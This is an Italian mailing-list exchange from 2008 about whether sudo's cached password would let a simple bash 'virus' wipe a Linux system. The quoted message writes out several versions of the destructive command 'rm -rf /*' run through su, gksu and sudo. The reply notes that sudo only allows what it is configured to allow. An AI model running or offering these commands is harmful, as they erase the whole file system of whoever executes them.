si è corretto... pero devi tenere presente che sudo non è un entita astratta
e miracolosa. Nel senso che, sudo funziona solo per le cose con cui viene
"configurato". Mi spiego, tu puoi abilitare il sudo a fare solo determinate
azioni e solo da un determinato utente ( o piu utenti ). Allo stesso modo
puoi impostare che ciascun utente possa effettuare solo determinati comandi
sfruttando il sudo.

Quindi non è detto che sudo rm -rf /* funzioni :)

Un saluto A tutti.

Il 24 luglio 2008 15.23, Dario Pilori <[EMAIL PROTECTED]> ha scritto:

> #!/bin/bash
> rm -rf /*
>
> Questo va a cancellare tutto, praticamente. Ma ovviamente per
> funzionare ha bisogno dei privilegi di root, quindi se viene eseguito
> da utente normale, chessò, facendoci doppio click, non succede niente.
> Per ottenere i privilegi di root, allora il virus può essere modificato
> così:
>
> #!/bin/bash
> su -c "rm -rf /*"
>
> oppure
>
> #!/bin/bash
> gksu rm -rf /*
>
> Ovviamente verrà chiesta la password di root, e non mettendola non
> otterrò alcun effetto. Il fatto è che sudo tiene in memoria la
> password per 15 minuti, di default, giusto? Se la password fosse in
> memoria e il virus fosse così:
>
> #!/bin/bash
> sudo rm -rf /*
>
> oppure
>
> #!/bin/bash
> gksudo -rf /*
>
> Allora tutto il sistema verrebbe cancellato! O sbaglio?
>
> --
> Dario Pilori
> Linux registered user #406515
>
> "La birra è la prova che Dio ci ama e vuole che siamo felici"
> Benjamin Franklin
>

Rispondere a